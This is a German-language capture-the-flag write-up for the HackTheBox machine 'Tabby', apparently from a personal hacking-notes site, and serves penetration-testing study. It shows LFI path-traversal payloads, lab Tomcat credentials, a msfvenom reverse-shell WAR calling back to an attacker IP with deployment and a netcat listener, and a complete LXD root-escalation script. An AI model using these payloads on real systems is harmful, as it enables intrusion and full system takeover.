> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Tabby HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Lokales Datei-Inkludieren (LFI)
* Missbrauch des Tomcat Virtual Host Managers
* Missbrauch des Tomcat textbasierten Managers - bösartige WAR bereitstellen (Curl-Methode)
* LXD-Ausnutzung (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/55da601a97f8e7f96891a0d1be1a2809f16f73e7" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/9aedf3b4a6da99ad9fb53b6d252a05fbdf7dab7f" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
```

<figure><img src="/files/744c1c1efeaaf7485f1f44d3883bfd8e29b02975" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/85855bd1f5235d8cc7835fb56a84a002b00ccee7" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted
```

<figure><img src="/files/c2c53af1c89ef769e590d01e6d77a142e3e355f2" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/9eab73c8a49c890dcf60b6e26a16936f2241f35e" alt=""><figcaption></figcaption></figure>

### **Port 80:**

<figure><img src="/files/55efedd946242cfa759797246453770703eea696" alt=""><figcaption></figcaption></figure>

**Verzeichnissuche:**

Wir verwenden Gobuster, um Verzeichnisse auf der Website zu suchen:

```bash
gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* **Ergebnisse:** `Assets`, `Dateien`, und `server-status`.

<figure><img src="/files/5a54db0e3595d2f79099a4547797574e8e1fa330" alt=""><figcaption></figcaption></figure>

Subdomains suchen:

```bash
gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400"
```

<figure><img src="/files/131777ae658870aaddfe46bd396fc832760cbf70" alt=""><figcaption></figcaption></figure>

## LFI-Schwachstelle:

Greife auf die anfällige Datei zu `new.php` über eine `?file` Variable in der `Anweisung` Ordner.

<figure><img src="/files/e1487ddc92c3731b73998489389d73145d8ef59d" alt=""><figcaption></figcaption></figure>

**Testen der lokalen Dateieinbindung (LFI)**:

`http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/8a667ff6015a4e7dc397c2f472873514719a2b14" alt=""><figcaption></figcaption></figure>

* **Ergebnis:** Zugriff auf Datei `/etc/passwd`, wodurch zwei Benutzer offengelegt werden: `ash` und `root`.

**Versuch, auf Ashs privaten SSH-Schlüssel zuzugreifen**:

`?file=../../../../../../../home/ash/.ssh/id_rsa`

* **Ergebnis:** Zugriff verweigert.

<figure><img src="/files/359006851dc9288a150c9699478fa548a7a4a309" alt=""><figcaption></figcaption></figure>

**Suche nach internen Ports** über die `/proc/net/tcp` Datei, um versteckte Dienste zu identifizieren:

<figure><img src="/files/e639f95119e1943d178f9b46fea88f402b1dc020" alt=""><figcaption></figcaption></figure>

**Suche nach internen Ports** über die `/proc/net/tcp` Datei, um versteckte Dienste zu identifizieren:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 { 
    # Nimm das Feld local_address
    split($2, addr_port, ":");
    
    # Konvertiere die Adresse in das IP-Format
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d", 
                 strtonum("0x" substr(hex_addr, 7, 2)), 
                 strtonum("0x" substr(hex_addr, 5, 2)), 
                 strtonum("0x" substr(hex_addr, 3, 2)), 
                 strtonum("0x" substr(hex_addr, 1, 2)));

    # Konvertiere den Port in Dezimal
    port = strtonum("0x" addr_port[2]);
    
    # Gib das Ergebnis im IP:Port-Format aus
    printf "%s:%d/n", ip, port;
}'
```

**Ergebnis:** Entdeckung des internen Ports `34650`

<figure><img src="/files/ad52e5d9af5aaaf0808c7cf473b0dd0a137fa191" alt="" width="563"><figcaption></figcaption></figure>

### **Ausnutzung des Tomcat Virtual Host Managers (Port 8080)**

**Zugriff auf Tomcat** über Port 8080 und Suche nach Authentifizierungsinformationen. Standardmäßig werden diese gespeichert in `/etc/tomcat9/tomcat-users.xml` oder `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/2077db59c5057495c4b17d99cafe8ac7001f632f" alt=""><figcaption></figcaption></figure>

**Anmeldedaten** gefunden:

`Benutzername = tomcat`

`Passwort = $3cureP4s5w0rd123!`

<figure><img src="/files/e0d1a0a0a6fa2e9c6ebca1dbeac35f0085de4562" alt=""><figcaption></figcaption></figure>

**Versuch, auf** `/manager/html` gibt den 403-Fehler zurück.<br>

<figure><img src="/files/5e78ddab23af7c59274bd003b43e7d5766043633" alt=""><figcaption></figcaption></figure>

1. **Alternative über `/host-manager/html`**, aber nicht in der Lage, eine Anwendung mit einer `.war` vorhandenen Benutzern.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/391d591ae15917e99c086b03511ec5282c3745fb" alt=""><figcaption></figcaption></figure>

### **Ausnutzung des Tomcat textbasierten Managers**

**Kommandozeilenanwendungen auflisten**:

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/32f5ee2f089923182349f9ff0ae540a586868b10" alt=""><figcaption></figcaption></figure>

**Erstellen einer WAR-Datei für eine Reverse Shell** durch `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/d69a9524e0614a2db35e955e0e9ad9a8ec61cb15" alt="" width="563"><figcaption></figcaption></figure>

**Bereitstellung der WAR-Datei** via Curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/75eb138639a18a85c7e4d53cc54714ea0b80ccbd" alt=""><figcaption></figcaption></figure>

**Auf die Reverse-Shell-Verbindung warten**

```bash
nc -nlvp 443 
```

**Zugriff auf die Reverse Shell** über die URL `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/a28c0c84772a3cd949ad702f16463a2ff65862ee" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/878678614ed3779c2209cd12eaf8da1e5575a172" alt="" width="563"><figcaption></figcaption></figure>

#### Terminal-Handhabung

Sobald du Zugriff auf den Linux-Server hast, sind hier die Befehle für die Terminalbearbeitung

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisiere die Shell für komfortableres Arbeiten. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilegieneskalation:

**Erkundung des `/var/www/html`** Ordners/ Durch Untersuchung des Inhalts dieses Ordners entdecken wir einen Ordner `Dateien` der eine Sicherungsdatei enthält: `16162020_backup.zip`.

**Übertragen der `.zip` Datei auf den lokalen Rechner**

Zur Analyse übertragen wir die komprimierte Datei auf unseren lokalen Rechner, indem wir mit Python einen HTTP-Server starten:

```bash
python3 -m http.server 655
```

<figure><img src="/files/61f9fc54528e751eda07ce6c0ba6638b49f5ca9a" alt=""><figcaption></figcaption></figure>

### .zip-Datei per Brute-Force knacken:

**Dekomprimierung der Datei `.zip` - Passwort per Brute-Force knacken**/ Der `.zip` Datei ist passwortgeschützt.

<figure><img src="/files/7250242a7a994700501f90631da6d34d8fd7b5d0" alt="" width="563"><figcaption></figcaption></figure>

**Hash-Extraktion mit `zip2john`**:

Also werden wir zip2john verwenden, um den Hash zu extrahieren

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="/files/9a33d3a2b198b782d2a141c4d573ccde403f849e" alt=""><figcaption></figcaption></figure>

**Passwortknacken mit `john`**:

<pre class="language-bash"><code class="lang-bash"><strong>john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
</strong></code></pre>

**Ergebnis**: Passwort gefunden - `admin@it`.

<figure><img src="/files/5b9e66dd9a709e44493c348b425397570561b000" alt=""><figcaption></figcaption></figure>

**Dekomprimierung und Analyse des Inhalts**/ Verwende das Passwort, um das Archiv zu entpacken:

<figure><img src="/files/dc3b4eecacdd9e575aca8b6e332e52f7bf5eb027" alt="" width="563"><figcaption></figcaption></figure>

Das Entpacken erstellt einen `var` Ordner, der einige nützliche Dateien enthält. Allerdings `admin@it` funktioniert das Passwort auch für den `ash` Benutzer auf dem Zielsystem.

### User.txt-Flag

<figure><img src="/files/d15c13a05b0774f70bdfbabd6b552068fc6aae04" alt="" width="563"><figcaption></figcaption></figure>

### LXD-Ausnutzung:

**Identifiziere, dass der Benutzer `ash` gehört zur `lxd` Gruppe**:

Beim Überprüfen der Gruppen, denen der Benutzer `ash` angehört, stellen wir fest, dass er Teil der `lxd` Gruppe ist, wodurch LXC ausgenutzt werden kann, um Root-Rechte zu erlangen.

<figure><img src="/files/85ffe6d2cb2aa3f5d124f2ea6b82514c64b0abc6" alt=""><figcaption></figcaption></figure>

**Herunterladen und Vorbereiten des Exploits**:

Verwenden Sie `searchsploit` um das Exploit-Skript für die LXC-Schwachstelle (CVE-2020-16941) zu erhalten

<figure><img src="/files/8995a4367eecc14a4cde1bbf03c09b910367aadc" alt="" width="563"><figcaption></figcaption></figure>

Dieses Skript ermöglicht es, die LXC-Schwachstelle auszunutzen, um Befehle mit erhöhten Rechten auszuführen.

**Inhalt des Exploit-Skripts (46978.sh)**:

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nVerwendung:"
  echo -e "/t[-f] Dateiname (.tar.gz Alpine-Datei)"
  echo -e "/t[-h] Zeigt dieses Hilfefeld an/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Bilder auflisten.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] Container wird entfernt..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
sonst
  createContainer
fi
</code></pre>

* Das Skript ermöglicht es uns, einen LXC-Container mit erhöhten Rechten zu erstellen, wodurch wir Root-Zugriff auf dem Zielsystem erlangen können.

**Alpine-Image-Datei und Skript herunterladen:**

Klone das Repository mit den für die Ausnutzung erforderlichen Dateien und übertrage sie über einen lokalen HTTP-Server auf dein System.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Starte einen lokalen HTTP-Server, um die Datei und das Skript bereitzustellen

```bash
python3 -m http.server 80
```

Lade auf deinem Zielsystem das Skript und die Image-Datei herunter:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/5c9fc51da39649ef252d75c8480feb8f8ce1f159" alt=""><figcaption></figcaption></figure>

**PATH-Aktualisierung**:

Passe den `PATH` an, damit LXC-Befehle korrekt interpretiert werden.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Ausführen des Exploit-Skripts**

Führe das Skript mit der heruntergeladenen Alpine-Image-Datei aus, um die Schwachstelle auszunutzen und eine Root-Shell zu erhalten:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/b0eb1c647fe8b0baa798421429194d05f2e7d299" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/17e8175a096156d8f4b35d80062f6fa1d8f01893" alt=""><figcaption></figcaption></figure>

Um den Container zu verlassen, gehe einfach zu `/mnt/root` Verzeichnis.

### Root-Flag :)

<figure><img src="/files/eb52a9dcd92be3b0605956e47afd8746dd991f6f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ae3be5b5dda184b4d4086110a7ea00e54d02207c" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
